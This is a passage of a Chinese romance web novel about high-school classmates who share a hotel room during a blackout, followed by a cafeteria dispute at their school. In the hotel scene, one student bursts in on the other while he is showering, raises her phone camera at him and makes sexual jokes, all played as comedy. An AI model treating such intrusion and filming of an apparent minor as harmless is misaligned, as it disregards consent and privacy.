齐恩在网吧玩得昏天黑地,哪里想得起来,她一打开手机才看到,居民群早就炸开了锅。
“线路老化抢修?”她看到底下有人抱怨,说老旧小区就是这样,三天两头出幺蛾子。
“难怪,你是来蹭空调的吧?”齐恩抹了把额头上的汗,“大热天没有空调,得热死人。”
卢俜嗯了一声,把放在身侧的黑色书包拿开。齐恩顺其自然地坐下,继续翻看着新消息,才发现卢俜在刚停电那会儿就给她发了消息。
【卢俜】:到家了吗?二号楼好像停电了。
【卢俜】:一号楼的房东也说停电了,整个小区都停电了,你今晚准备在外面留
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宿吗?
齐恩敲了敲鼻尖:“诶哟,我没看到,对不起啊小卢,我那会儿光顾着P城钢枪去了。”
卢俜的神情看不出愠色,“没事。”
他又扭过头去做自己的事。
齐恩自觉没接到他的消息也很尴尬,喝了口冰水:“晚上的火锅太咸了,我嘴都是干的。”
“和同学一起吃的?”卢俜出于礼貌接话。
“是啊是啊,我、高玟、袁礼米,还有谌俞和张其薪。”齐恩示意自己的手提袋,“吃饱喝足,还买了衣服和鞋,又和他们网吧开黑。”
卢俜没什么能说的,好在齐恩也不需要他接话:“话说你和张其薪是不是有过节啊?”
卢俜人淡如菊,比大如传里的如懿还要淡漠,说了句不清楚,视线依旧停留在英语阅读上。
“别写了!死书呆子,聊会儿天啊!”
齐恩一把扯过英语报。
卢俜蹙眉,手还捏着笔停在那儿,但对齐
恩的霸道也不感到意外,“你想聊什么?”他摘下黑框眼镜,揉了揉用眼过度而疲惫的眼。
“你和方婕还有张其薪,你们真有故事?”
“有什么故事?”卢俜简短地解释,“高一的时候,张其薪喜欢过方婕,方婕没同意。”
“方婕没同意是因为她喜欢你?”齐恩问。
“那和我有什么关系?反正我不清楚。”
“靠!”齐恩觉得他这话很滥情,“你不是不清楚,只是不主动、不拒绝、不负责而已!”
“……无不无聊。”
卢俜不是喜欢聊这个的人。
齐恩心想,问他点什么跟要了他的命一样。
“我们俩的关系怎么样?”她去撞他肩膀。
卢俜闷不做声,在想她刚才说的那些话。
“一般吧。”
“嘿———”齐恩拔高音调,“你这样不行,侃两句就急眼了,噜噜个小猫脸,特别不好。”
“我没有。”卢俜深吸一口气,突然说了一大长串,“方婕喜欢谁是她的事吧,我不是不懂拒绝,是她不说,我也不知道怎么回绝。如果突然提的话,很尴尬,而且后续很麻烦。”
这话总算解释清了。
“你不是会说话吗?”齐恩埋怨道。
“……”怎么说都是错,卢俜将眼镜放在桌上,转换了话题,“你和方婕不是很对付?”
“是因为你,但不是为了你,至少我不是。”
我没那么大脸面,卢俜腹诽,“知道了。”
“诶,小卢猫,把你的小猫脸抬起来。”齐恩还很新奇,“我还是头一次见你摘眼镜呢。”
“……你能不能不要再这样叫我了。”
“这么应激干嘛?外号而已啦。”齐恩笑眯眯的,“要是不爽,你也可以叫我的外号啊。”
“我不想叫……再说你也没有什么外号。”
“你可以叫我齐学姐,齐姐,恩姐。”
齐恩循循善诱,占便宜的意图明显。卢俜不理会她了,抢过阅读报纸,重新垫回手腕下。
齐恩伸手去摘他的兜帽,“你给我看看呗。”
卢俜忍无可忍,干脆自己把帽子摘下来。雪白温柔的灯光映在脸上,没有眼镜做遮挡,原本的五官都显现出来。同样棕褐色的眉和眼睫,内双眼皮,深可可色的瞳孔,眉目素净青涩。
高挺的鼻梁,两侧被眼镜压出的红印还没有消退,鼻头不尖锐也不厚钝,有挺翘的小弧线。其实比起猫,用小熊来形容比较合适,他脸上钝角比较多,不会给人难以接近的凌厉之感。
卢俜被齐恩看得太局促了。
“……别这样盯着我看。”
这时候群里总算有新消息了,物业的人说明天中午才会来电,群里顿时听取骂声一片。
“物业费收那么贵,怎么就不能修快一点?”
“甘霖娘,这大热天,热死人谁负责啊?”
“就是,我家小孩明天还上学呢,现在都热得睡不着!”还附赠一段孩子哇哇乱哭的视频。
齐恩其实这会儿已经有点困了,看到消息后,更是气得没话说,扶额道:“这罪遭的!”
卢俜看她眼底都是红血丝:“……你可以趴着睡会儿,我在旁边看着,东西不会丢的。”
“趴着怎么睡啊?”齐恩诉苦,“我刚考完就想好好休息一下,结果遇到这事儿!”
卢俜看了一眼身后的沙发区,早就被几个打着呼噜的大妈占领了,看起来并不好交涉。
齐恩忍不了了,一把拽起卢俜:“走!”
卢俜有不好的预感:“……去哪儿?”
齐恩把身份证拍在桌上:“开房去!”
双床问题
齐恩声音其实并不大,但卢俜还是倏然站起,去捂住她的嘴。“·……你胡在说什么?”他的脸颊红到滴血,‘能不能别再瞎讲话了?”
齐恩挣开他:“什么呀?不开房睡难道就睡在这儿吗?这什么环境啊?你睡,我可不睡。”
“……那你自己开去。”卢俜坐回去。
齐恩乜着他:“那你呢?在外面风餐露宿?”
“我就在这儿。”卢俜很坚决,“等来电。”
“那不是要等到明天中午?”齐恩挑了挑眉,“我的老弟,你别天没亮就猝死了耶!”
“……不至于。”话题回归正常,卢俜刚松了一口气,却发现齐恩的眼神似乎不太对劲。
她一声不吭地盯着他身侧的书包。
说时迟,那时快,卢俜几乎心领神会,伸手护自己的书包,可他毕竟没有女国手的动作快。
齐恩一把抢过:“你跟我来就是了!”
说完她拔腿就跑,卢俜只得抬脚去追。
两人一前一后出了便利店。
凌晨的大街上人影疏疏,两道年轻鲜活的身影在霓虹错光里角逐。齐恩在前面兴冲冲地喊:
“来追我啊!小卢猫猫!”
卢俜心想这叫什么事儿,招惹上这么一个活祖宗。他懊恼极了,拖着沉重的步伐去追。奈何齐恩体能太好,和他的距离越拉越大。卢俜堪堪转过拐角,就看到齐恩钻进一家城市便捷。
等等,他的脚步一时间顿住了。
城市便捷酒店。
城市男女。
便捷方式。
酒店一夜。
卢俜全身上下的血液都冷僵了,他畏光般木讷呆楞,伫立在那宾至如归的暖色柔光之外。
齐恩笑嘻嘻站在门口,甩着他的书包带:
“好学生,你进来呀———进来呀———”
卢俜说:“……齐恩,别玩了,快出来!”
他还正儿八经喊她名字,齐恩乐极了。
“别磨叽了,都是你情我愿的事儿,咱们订个双床房,你不碍着我,我也不碍着你!”
两人隔着一段楼梯对喊,不时有人侧目。
卢俜对麻烦避之不及,如同热锅上的蚂蚁。
“我……拜托你,先出来。”他难得服软。
齐恩反而比出搞笑电影里的招牌动作。
“你———过来啊!”
忍不了,忍不了一点,卢俜切着齿上前。
齐恩说你听我的就完事了,保证给你安排得服服帖帖,就飞快地推他进门,“我刚开玩笑的,咱订两间房不就行了吗?都说了你来榕城,我来安排,是不是这个理儿?诶听我的就对了!”
卢俜去拽自己的书包带子,齐恩就扯着另一头和他僵持,又转头对前台问:“还有房吗?”
“您也是这附近停电的吧?真不巧,我们这儿都满房了,今晚也有好几个临时来办入住。”
“唉———”齐恩垂头丧气。
卢俜反而松了一口气。
“但是,刚刚有个预定双床房的说来不了。”前台说,“您看行不行,这是唯一的房了。”
“好耶!!”齐恩递出身份证,“办!”
“好,您录身份证和指纹就可以了。”
对于卢俜来说,从云端坠回地面,变故就发生在一瞬间。他不可置信,尴尬地退后了两步。
情急之下,他拉住她:“不是说两间房?”
“这不是只有一间了嘛?”齐恩十分豁达。
“……没必要。”卢俜恳切地劝道,“可以去其他酒店,整个街区又不是只有这一家……”
“小帅哥。”前台笑着打断他,“你可以看看某团和某程,这个时段基本上都没有空房的。也就是有人临时取消预约,才多个双床房。”
“……”
齐恩很快就拿到了房卡,卢俜坐在大堂的沙发上,抱紧了自己的书包,说什么也不肯起身:“你自己上去睡,我,我在这儿对付一晚。”
“有床不睡要睡沙发,你是不是贱的?”齐恩百思不得其解,“睡一间房能咋的你了?”
卢俜视死如归:“你也应该自重一点儿。”
“大清都亡了!”齐恩说,“再说,就是搭个伙临时对付一晚而已,这不纯纯省房钱吗?”
“我……”卢俜鼻尖已经沁出薄薄的汗。
“诶,那个好像是咱们学校的。”齐恩一指。
卢俜心里一凉,下意识地看过去,只下一秒,齐恩迅速抽出他兜里的手机,转身就跑。
他也是信了她的邪!卢俜觉得自己面对齐恩,是吃一堑吃一堑再吃一堑,永远长不了一智!
无可奈何,书包被抢还可以再说,手机被拿,就真的什么都做不了,卢俜只得跟了上去。
齐恩闪进电梯,还特意给卢俜留了门,等他钻进来,电梯门正好关上,晚一秒都达不到这个喜剧般的效果。两人在封闭空间里面面相觑。
齐恩立刻就憋不住了,靠着墙角乐弯了腰。
卢俜既恼又窘,“……这样你满意了吗?”
“不是,我就不明白了。”齐恩边笑边说,“你怎么一副怕我吃了你的样子!”
“你……”卢俜哑口无言。
“我又不是妖怪,咱俩各睡各的,谁也不挨着谁。”齐恩正色,“我一个女的都不怕吃亏,你还在这里扭扭捏捏,像什么男人样儿?给我立正!抬头挺胸收腹,提臀,往前走!”
卢俜顺着她的话往电梯外走去。到了房号正对的房门口,齐恩刷卡打开,卢俜戴上了兜帽。
“你干嘛,做贼似的,还把帽子一戴,别像来做什么亏心事的,不知道还以为你要来嫖。”
卢俜呼吸一窒:“你……!”
“你你你,你半天了,说个话都说不利索。”齐恩跑了这么久,也浑身是汗,抬手开中控,“二十度可以吧?你要是觉得冷,自己多盖两层被子,我习惯睡二十度,太热受不了。”
“……随便。”卢俜抱紧了自己的包,不知该在哪里落脚,齐恩在靠窗一侧的床坐下给手机充电。卢俜只能尽可能贴着墙壁走到自己的床边,默默丈量着两张床之间那一臂宽的距离。
吹了会儿空调,卢俜的心也静了一些。孤男寡女共处同一个房间的尴尬还未消散,他悄悄地瞥向齐恩,发现她在换酒店的拖鞋,细长葱白的手指拆开塑料袋,发丝半掩住美丽的面孔。
注意到他的视线,齐恩也抬头看他。
“我先去洗了哦,还是你先?”
“洗……澡……?”
“那不然呢,我玩了一身汗啊。”齐恩说。
卢俜终于忍无可忍:“你能有点安全意识?”
齐恩错愕了一瞬。
“你这样随便和一个男生来酒店,随便开房,随便共处一室,现在又要……”卢俜掩着面,“洗澡。”他的声线沉闷,鼻音含糊,“你没有想过后果,如果我是个居心不良的人?”
“你再怎么厉害,也是一个女生,如果我趁这时候……或者趁你洗澡的时候……”卢俜深吸一口气,“我趁你没有防备的时候,对你图谋不轨,你该怎么办?你应该有一些戒备心。”
齐恩笑笑:“这事是你卢俜能做出来的?”
她太信任他了。
卢俜无言以对。
齐恩去洗澡,没有洗头,酒店里的护发素也用不惯。她出卫生间喊卢俜去洗,卢俜说不用,齐恩看他束手束脚,实在不好再为难他什么。
“你还需要开灯吗?我有点想睡觉了。”
“睡吧。”卢俜立刻把灯关了。
齐恩平躺着睡,很快就睡着了。半夜她尿急,想起来上厕所,才看到卫生间灯没关,有淅淅沥沥的水声传出来。卢俜的床位上没有人,他去洗澡了。嘿,这都要背着人,实在矫情。
齐恩翻了个身,想到卢俜今晚的种种举止,对一些事难以启齿的措辞。其实他是一个很尊重女生的人,这个好学生。齐恩和他相处的时候,感觉到最多的就是这个,他对她很得体。
又想到他在她洗澡前说的那番话。
齐恩的心不由自主地漏掉一拍。
她想到一个很坏很坏的坏主意。
但齐恩又觉得自己不该那样。
才怪。
她大力推开卫生间的门,大喊:
“Surprise,mother fucker !”
水雾缭绕之间,卢俜的身影就那么水灵灵地撞进齐恩的视线里。她一开始是坏笑着的,视线越来越往下,却笑不出来了,默默比了个wow的口型,不由自主地打开了手机的摄像头。
卢俜崩溃了:“齐恩!!你给我出去!!”
齐恩笑得脸都要烂了,卢俜都红温了,这小老弟,哈哈哈哈,哈哈哈哈哈,不过有的地方可不小。齐恩觉得自己老贱了,这事能怪她吗?不能啊,卢俜自己就应该有点儿戒备心才对!
几分钟之后,卢俜气冲冲地从卫生间里出来。齐恩在床上若无其事地玩手机,手背遮住鼻梁以下的部分,防止他看到自己偷笑。可卢俜光从她瞄过来的眼神,就能看出来她在笑什么。
“……你再笑?”卢俜气得下眼眶都红了。
“不,卢先生,我们经过严格的训练!”齐恩抬手说,“无论多好笑,我们都不会笑。”
“除非……”齐恩抱着被子倒在床上,“除非实在憋不住,哈哈哈,哈哈哈哈哈哈!”
卢俜不懂,一个女生怎么能做出这样的事情,齐恩却太懂了,逗一个怎么生气都不会骂人的家伙,他越拘谨,你越想看到他气急败坏,更何况卢俜本来就不会破防,或者说,难的很。
齐恩笑够了,忽视卢俜阴怨的视线:“我要去上厕所了,我本来就不是故意的,我只是被尿憋醒了好吗?而且谁家好人大半夜会在卫生间洗澡啊,我以为遭贼了呢,这不能怪我。”
“……扯。”卢俜背对她躺下,“少扯淡。”
“那你要不要看我尿尿呢?一报还一报。”
说又说不过,打又不能打,他没有齐恩那么不要脸。卢俜窝囊地面壁而睡,一言不发。
齐恩上完厕所出来,看到隔壁床鼓起的小包,差点没忍住笑,所以上了床才发现灯没关。她和他打商量:“好学生,帮我把灯关了呗?”
“……你自己没手吗?”卢俜说话好冷漠。
齐恩只好把灯关了,摸黑
上床,不出意料地撞到床角,嘶了两声,揉着小腿钻回被窝。
奇怪的,这次闭眼却怎么也睡不着了,齐恩翻了个身,尝试了几次,依旧精神焕发。
好吧,看到那样的东西
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,人确实会有点儿……怎么说?振奋?怎么显得和自己老色批一样?
齐恩再次翻了个身,背对着窗帘,视线黯淡了一些。隔壁床上,卢俜仍维持着面壁的睡姿。
卢俜睡着了吗?好像也看不出来。齐恩无聊的很,低声问了一句:“……怀民亦未寝?”
卢俜没有声响,齐恩撑起身子叫他:
“怀民?怀民?”
均匀的呼吸声被骤然打乱了。
卢俜略沙哑的嗓音虽迟但到。
“……干嘛?”
“你睡了呀?”
这不是废话吗。
“你又有什么事?”
“我,我睡不着。”
“……”
“漫漫长夜,咱们就盖上棉被纯聊天呗。”
卢俜说不上嗜睡,他只是心很累。“……你想聊什么?”他已经被她弄得没了脾气。
“你的头发为啥是咖啡棕色的,还是卷的。”齐恩一直没问过,“你是哪里人啊?”
“……我妈妈。”卢俜不是立刻就回答的,“她的前夫,不完全是中国人。”
这个称谓让齐恩很疑惑。
他不说爸爸,而是说妈妈的前夫。
齐恩试图弄明白他的家庭状况:“所以你现在的爹是你后爹,你的姐姐也是你继姐?”
“嗯。”卢俜平躺了身子,盯着苍白的天花板,“你不要和别人乱说了,这个事情。”
“没门儿,我从不乱说的,绝对守口如瓶。”齐恩真诚地比了个手势,“我发毒誓。”
卢俜说那也没必要:“年级里有些人也是知道的,但不是我说的,我没有和任何人说过。”
“那他们为什么会知道?”齐恩下意识问,“难不成是你姐姐说的?”
“也不全是。”卢俜的耐心耗尽了。
“行了,快睡吧。”
“哦。”齐恩顿了顿又解释,“我不是有意问你家里的事,我只是看你那里的毛……”
“齐恩!”卢俜一瞬间清醒了,“闭嘴!”
“好好好,知道啦知道啦。”齐恩嘿嘿一笑。
卢俜抓狂地揉了揉头发,只后悔自己没锁门。
过了一会儿,齐恩又说:
“我知道一个双床房的冷知识。”
卢俜正愁不知道该怎么缓解尴尬:“你说。”
“情侣们来办入住,最常办的就是双床房。”
“……难怪当时前台看人的眼神那么怪。”
“你知道为什么吗?”齐恩没憋好屁。
卢俜对此没有察觉:“为什么?”
“因为双床房有两张床,小情侣想打炮的话,用一张床做,弄脏了还可以睡另一张床。”
卢俜被她聊天的尺度惊呆了,齐恩又说:“钟点房里双床房也是首选,你知道为什么吗?”
他制止道:“我,我并不想知道是为什么。”
“钟点房一般三到四个小时,按照正常的频率来说,就是两到三次,大部分的情侣是两次。正好两张床都弄脏了,人也办完事了,可以拍屁股走人。你看,这样是不是非常划算?”
卢俜被迫接受到新知识,他既震惊又困惑。
“再发散一下思维。”齐恩的眼神亮闪闪,“两张床铺上两层被窝,还可以多做两次!”
“这算什么歪理?”卢俜不自觉道,“照你这么说,垫上浴巾还可以多做两次……”
意识到自己被齐恩绕进去了,卢俜迅速闭嘴。
齐恩还在喋喋不休:“我考你一个,一对情侣,一男一女,两个人来双床房过夜,如果时间条件允许,男性女性的身体条件允许,一间房的配置,他们做了二十次,这是为什么?”
这是什么烂题?!
卢俜决定不回答她了。
齐恩喂了两声,见他装死,也就撇嘴睡下了。
等齐恩睡醒时,已经是次日早九点。
她看到卢俜眼下浓厚的乌青。
“我昨晚想了一宿。”卢俜面无表情。
齐恩愣了愣,她自己都忘了:“想什么?”
“那个……双床房一夜二十次的题!”
“哦哦。”齐恩失笑,“那你想出来了吗?”
卢俜却难得颓唐地摇了摇头:“没有。”
“我想了很多种情况,不止被窝、浴巾、甚至还有浴袍,所以能垫的东西都算一次。”卢俜扶额,“生编硬凑也凑不满你说的二十次,这道题到底有没有正确答案,你不会瞎编的?”
“不可能!”齐恩义正严辞,“只是你自己想不出来而已!要不要姐来告诉你正确答案?”
卢俜想说我才不想知道,可洗完脸刷完牙,直到要退房,这问题仍然在脑海里萦绕不散。
出了酒店,卢俜终于开口:“请你告诉我。”
“行,你叫我一声齐恩学姐,我就告诉你。”
卢俜咬牙切齿:“齐恩……学姐。”
齐恩于是很大声地笑起来:“你笨啊卢俜
,谁告诉你只有床上才能做?沙发、桌边、窗前、地毯上、还有浴室里,想做在哪儿不能做?又不是非得用把床单弄脏的姿势,哈哈哈哈!”
纯洁的卢俜顿时脸颊爆红。
齐恩早就笑着跑出去老远了。
文明扣分
卢俜简直怕了齐恩,漂漂亮亮一个正经姑娘,怎么可以随时随地开黄腔。
他不知道,齐恩也不是对哪个男生都这样的,只是卢俜才是太老实本分的那一个,看到他,齐恩就忍不住犯点浑。要不总说街上的坏小子乐意逗小姑娘脸红呢,简直是太过瘾了!
早上九点的太阳落在齐恩奔跑的身影上,她穿简单的白短袖,白短裤,浑身像纸一样纤薄,却又有很强的生命力。仿佛世界变成她的冰场,阳光穿透层层坚硬的玻璃穹顶,才有殊荣落在她美丽的眉骨,鼻梁和唇间。在十字路口停下,兴冲冲地转过头看他,然后朝他坏笑。
“卢俜,你能走快点儿吗?我都快饿死了。”她催促他,“走,学姐带你去吃早饭。”
卢俜很疲惫,睡眠匮乏,他的眼底红通一片。
他下意识抬起手遮住日光。太绚目了。
其实不止是日光。
他朝着齐恩走了过去。
“……来了。”
齐恩和卢俜在聚民街尾的早餐摊随便应付了一下。天太热,谁也不想吃油腻的,齐恩点了碗杏仁茶慢吞吞地喝,卢俜吃的鸡蛋肠粉。吃到一半,居民群里说来电了,终于能回家了。
上楼梯时,卢俜的步态难得拖沓,齐恩说:“我打赌你回家倒头就睡,睡到晚上才起。”
“你想多了,不会。”卢俜摇头。
“你是猫啊卢俜!你真不怕猝死?”
“现在睡了,晚上就睡不着了。”卢俜说,“而且猫的睡眠时间比人要长。”
“我看你还是多少睡会儿吧,你这红血丝。”齐恩偏头看他,“男人要对自己好一点。”
这是什么说法?卢俜迟疑片刻,却找不到任何反驳的理由,他只好敷衍地嗯了一声。
回到家,卢俜穿过空荡荡的客厅,某一刻突然感觉到耳根清净了,过分安静了。
一离开她,整个世界都平和下来,卢俜心想,其实齐恩话没多到那个份上。
走到卧室,打开空调,在卫生间换了衣服,他还是觉得身上有汗味,折身回去洗了个澡。
洗的时候卢俜也惴惴不安,昨晚在酒店被齐恩突闯浴室看光光的阴影还挥之不去。
尽管落了锁,但他还是有异样的感觉。
洗完之后,卢俜看了会儿书等头发干。
结果有点儿困了,没忍住在床上睡着了。
等他再醒过来的时候,眼前橘红一片。
卢俜默默地看向窗外,已经是日落时分了。
还真是和齐恩说的一样,他睡到晚上才起来,卢俜坐起身,又生出一种无端的挫败。
睡眠让水分流失,他口干舌燥,去冰箱翻了一瓶东方树叶,微苦入喉,思绪清醒不少。
客厅里同样也是很寂静,灯没有开,灰蒙蒙的一片里,卢俜并非伸手不能看见五指。家具还摆放在原地,只是一晚上没回来,就变得有些陌生了。其实陌生的人是自己。
所以卢俜才不喜欢突然出现的变数,会改变人的习惯,就像他本来是不会睡到现在的。人在睡醒时发现孤身一人,天又是黑沉沉,所以才会感觉到孤单,有科学依据,并非无迹可寻。
也不是因为和谁共度了一段时光。
卢俜饿了,出门去买填肚子的吃食。
在楼道口,他又遇到了齐恩。齐恩在戴护膝,一种跑步用的工具。眼前热烫的光线被遮挡,她也抬起头来,看到了一脸冷漠的卢俜。
冷漠只是他的伪装色。
齐恩问:“你是不是刚睡醒?”
卢俜不明白她是怎么知道的。
他想起那个赌:“……不是。”
“还不是。你脸上都睡出书印了。”
卢俜抬手摸自己的脸,还真有。
齐恩笑得更大声了,顺其自然和他并肩下楼。
“你是在书桌前睡着的吗?”
“没有,在床上睡的。”
“那怎么脸上睡出印儿了?”
“书是……盖在脸上的。”
卢俜扯开令自己难堪的话题:“你去跑步?”
“是啊。”齐恩活动着手腕脚腕,“夜跑。”
“一个人?”
“不然你陪我?”
卢俜不说话了。
“你出门干嘛?吃晚饭?”
“嗯,随便应付一点。”
有一搭没一搭地聊,已经走到了街口,齐恩去望江公园,卢俜去马路对面的罗森。
到分道扬镳的时候,卢俜罕见地叫住了齐恩。
他喊了她的名字:“齐恩,跟你说个事。”
郑重其事的语气,齐恩似有所感:“你说。”
“你的脚也好的差不多了,都可以夜跑了。”
齐恩驻足,预料到他下一句要说什么。
“以后上学放学,我们可以不用一道走。”
齐恩沉默了片刻。
“……可以。”
再次分开时,齐恩的嘴角才渐渐绷直了。在她身后,卢俜仍旧注视着她,一直捏紧的拳头骤然松开了。齐恩眼底一闪而逝的不解、恍然,卢俜其实捕捉到几分。他本不该有那么大的负罪感,齐恩是很没边界,哪有这么咋咋唬唬、颐指气使、
拿人东西就跑、乱开黄腔、还闯进浴室故意笑话他难堪的人?卢俜就算讨厌她,恐怕也理所当然……可卢俜并不讨厌她。
意识到这一点,卢俜感到荒谬。
他摇头苦笑,转身往便利店去。
.
下周一,月考成绩新鲜出炉。
十七班发生了两件大事。
第一件,张其薪考了年级文科第一。
他的分数条以班级为范围进行传阅。
这风头甚至盖过了本次的理科第一卢俜。
当然全校第一永远是全校第一,总分上,卢俜是当之无愧的第一。可大家都知道文科和理科的赋分有差别,卷面难度也很难比较,因此排名的时候都会区分开。张其薪是文科生中总分最高的,就连袁礼米也考进了年级前五。一时间,不光是学生们,教师办公室都一片哗然。
老师们都感慨十七班的学生如此争气。
但这显然和班主任刘彩没什么关系。
而另一件大事,则和齐恩有关,她的政治单科是全年级最高,和袁礼米并列第一。
张其薪去办公室抱数学卷子。
齐恩和袁礼米已经在里面了。
任何时候,齐恩总是最容易被瞩目的。张其薪先看到她,才发现她身旁的袁礼米。两个人正被一众出卷老师们询问,当然,齐恩是主要被盘问的对象,一位男老师手拿着她的答题卡。
齐恩没什么遮掩的,问她什么她就说。这次也是很凑巧,考的都是背过或者有印象的。
袁礼米反而理所当然:“这不是很正常吗?我教的我同桌,她考的不好也说不过去吧。”
睡神就是睡神,那惺忪的睡眼,轻描淡写的态度,只差把“不收徒”写在脸上。
上午最后一节是体育课,大家都在教室里吹空调瞎扯淡,打算提前去食堂吃饭。谌俞终于请上了小炒,虽说自掏腰包请了高玟和袁礼米,但也请到了齐恩。
“你是不是快生日了?”谌俞若无其事地,“我给你准备了礼物。”
“嚯,真的啊?”齐恩很意外,“准备了什么啊,别太贵重啊,我还不起。”
“没有,就普通的礼物,你就敬请期待吧。”
“行,谢谢你啊。”齐恩并不推脱于此。
俗话说得好,食堂那么大,空调
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冷气是屁话,所以最靠近空调的餐位向来是兵家必争之地。
谌俞一行人来得早,占据了最好的位置,其余是刚打完篮球的男生,大汗淋漓就坐了过来。
齐恩的脸标志般立在那儿,今天她太出名了,其实不止今天。不时有男生女生围过来,想要和相熟的人攀谈两句,借机和齐恩打声招呼。
一班人进来时,齐恩也注意到了。
好学生成堆出现,方婕身穿学生会的制服,会长徽章别在胸前,剪裁得体的红树莓格方裙在膝盖上几公分,穿着白丝袜的小腿十分吸睛。
她趾高气扬地走在最前面,身后跟着三四人,进来的时候抬了抬圆润可爱的娃娃脸,睨了一眼食堂里的其他人。齐恩这边最先被波及。
“令人毫无欲望的儿童身材。”高玟锐评。
谌俞爱贩剑:“你其实和方婕也差不多高。”
“我说不过他!”高玟咬牙,“齐恩你来!”
齐恩端水:“打一架。谁赢了我帮谁说话。”
她本无意参与对某个同学的议论,方婕和她的那些不对付,她也没有和别人说起。
但是,当方婕看到她时,和身边的女生神秘地对视一笑,齐恩确实感到非常不舒服。
不是普通的不舒服。
是被恶意凝视的不痛快。
高玟也感受到没有善意的目光。
她敏锐地蹙起了眉。
“……她们是不是在说你的坏话?”
齐恩想起手机里那些糟糕的聊天记录,但,还没到那种关头,她笑了笑:“我也不知道。”
也许正是这无意懒散的一笑,使方婕曲解了。
学生会长脚步一转,朝这边而来。
“喂,你们十七班的!”她环着臂,“你们是下课来的吗?该不会没下课就往食堂跑了?”
高玟最不客气,说了一句“关你屁事”。
惹得一班那几个人更不痛快了。
“得意个屁啊,不就是班上两个考得好的?”周第说,“还真把自己也当好学生了。”
袁礼米站起来,声音很缓也很坚定:“不是好学生就不能这么说话?好学生就有殊荣吗?”
“我,我可没这么说过!”
周第恨恨地瞪过来一眼。
高玟是东北人,一下子有情绪了:
“你瞅啥?”
“瞅你咋的?”
“你再瞅一个试试?”
“就瞅你咋地了?”
局面逐渐不可控制。
方婕终于倨傲地开了口:“我作为会长,当然要知道哪个班翘课了,翘课难道不扣分么?”
“咱们班最后一节是体育课,本来就是自由活动时间啊,又没老师讲课。”谌俞辩解。
“没有老师就可以提前下课?没这规矩。”
“扣扣扣,一天到晚就是扣!”高玟忍无可忍,
“随便你扣呗,反正在你手底下,我们十七八班就没拿过一次文明班级,说的和谁稀罕似的。扣来扣去,也不知道你想针对谁!”
“我没有要针对谁的意思。”
方婕拿出记分本,“公事公办而已。”
高玟挽起胳膊就要上前。
张其薪立刻拦住了她。
他是吃过亏的人,和一班人硬碰硬是不行的,之前那事就是教训。先忍不住动手就输了。
“那我也有一个问题。”
齐恩忽然发话了。
当她沉默的时候,硝烟已经无声地弥漫。
但我们的主角显然不是一枚炸弹那么简单。
“会长,随便污蔑同学,在网络上传播别人的谣言。”齐恩撑着下巴,笑意精致而倦怠。
“这个分,该怎么扣啊?”
等你放学
方婕脸上的神色一瞬间凝固。
“……你说什么?”
“我说,你在网上散播了关于我的不实消息,你诬陷我。”齐恩狡黠一笑,“不是吗?”
方婕还未回答,周第却不可置信地叫嚷道:“齐恩,你不能因为长得漂亮就血口喷人!”
齐恩抖出的事也完全在十七班人的意料外。
所有人都不知情,就连高玟和袁礼米也是。
齐恩轻描淡写,“我血口喷人吗?”她急促而轻快地哂笑,“要不我们去政教处对峙?”
“去就去!谁怕谁啊!”有人抢先道。
学生会长却一瞬间变了脸色。
“……齐恩。”方婕挤出一个难堪的笑容,“我想和你单独聊聊。”
“聊什么?”齐恩想她拿着小本本扣分时可没有这样的耐心,“让大家也听听呗。”
“我……我……”方婕咬着下唇,饱满的脸颊憋得通红,晶莹的泪水浸湿了下垂的眼眶。
高玟“腾”地一下站起来:“你说别人坏话还有理了是吧?!!你还先卖起惨了?!”
“我……那不是我……”方婕气势弱了下来,嗫嚅早,“你肯定是听别人说了什么。”
“那我究竟听谁说了什么?”齐恩反问。
“你敢复述一遍么?”
“你不敢!”高玟反应很快,立刻帮腔道,“因为你真的说了齐恩的坏话!”
“我没有!……你们根本没有证据!”
周第再次站了出来:“齐恩,你仗着自己是运动员,就来欺负我们平民百姓了是吧?觉得你有权有势又好人缘,我们普通人玩不过你?”
齐恩挑眉,倒是不知道周第还是个护花使者。
不过,随便给她扣帽子,可不是明智的做法。
“你他妈说什么呢?”谌俞站起身活动手腕,“周第,我他妈劝你说话三思啊!”
“怎么,你们十七班又要打人了?”有人说,“上次张其薪没挨处分不过瘾?”
张其薪绷直眼睑,气得脸上血色尽褪,却还是把谌俞往回拉了拉:“别当先动手的。”
众人的围观把隔壁职工区的老师也引了过来。
“怎么回事啊?”十八班的班主任秦东明走进人群,“聚在这儿干嘛呢?又吵吵什么呢?”
这是自己人,和刘彩喝水都不分杯子的哥们,高玟立刻上前告状:“老师他们一班简直欺人太甚了,我们班体育课提前下课也不行,非得扣我们班的分!”
长嘴就是好,高玟三言两语阐明了事态。
嗓门之大,语速之快,一点不给东北人丢脸。
“那怎么行?”秦东明可没刘彩那么木,职场老油条一根了,顺着高玟的话就说了下去,“那可就是你们一班孩子的不对了啊,校干部也不能乱扣分啊。”
“老师,我……”方婕眨着泪眼。
秦东明不由分说打断了骄傲的会长:“行了,这事就到这儿了啊,是你们一班做的不对。剩下的人,该吃饭吃饭,该回班回班。”
十七班人全都星星眼,有老师护着就是好啊!他们也终于享受到周第在柯俐那儿的待遇。
秦东明一句话的事,这个偏架就算被拉完了,他拍了拍屁股,悠哉悠哉捻根烟走远了。
“听到没,你们一班人还杵这儿干嘛?伺候我们用膳?”高玟拿筷子指人,“还不退下?”
方婕脸上火辣辣,一行人转身离去。
身后的人群里传来了刺耳的议论声。
“方婕真的说了齐恩的坏话?怎么听老师的意思是真的?看起来另有隐情的样子啊!”
“不知道,不清楚。不过嫉妒齐恩也是理所当然的事情吧,那么漂亮又那么优秀,我真的好羡慕十七班人啊,每天上课不得回头看她七八次?她的脸我都不知道该看哪里,太美了。”
“方婕确实就是那种作风啊,喜欢找茬,特别爱找女生的茬,对男生对女生完全两个态度!她就从来不抓男生逃课,你看那几个抱着篮球的,不也是翘课打球,她怎么不说他们?”
方婕离开了,其余人说是解气,也解气不了多少,饭都吃不下去了,索性收拾收拾回班。
齐恩原本以为事情到这儿就算完了。
可周五发生的意外却让她措手不及。
实在凑巧,齐恩中午没吃饱,下午饿得血糖都下去了,她趁着课间去小卖部买吃巧克力。
食堂在操场的西南角,偏西是操场的观台和负一层的器械储存室,齐恩路过时隐隐约约听到动静,循声望去,器械室的铁闸门倏然响动,然后,拉了下去!
里面还有人!齐恩意识到,跑过去的时候闸门已经快到底了,说时迟,那时快,她拿过一旁的拖把杆卡了进去,给最后一点间隙卡出了。
里面传来的呼救声更大,曾经听过的声音。
是上次在餐吧讲了她坏话的两个女生。
“……是你们?”齐恩问,“还好吗?”
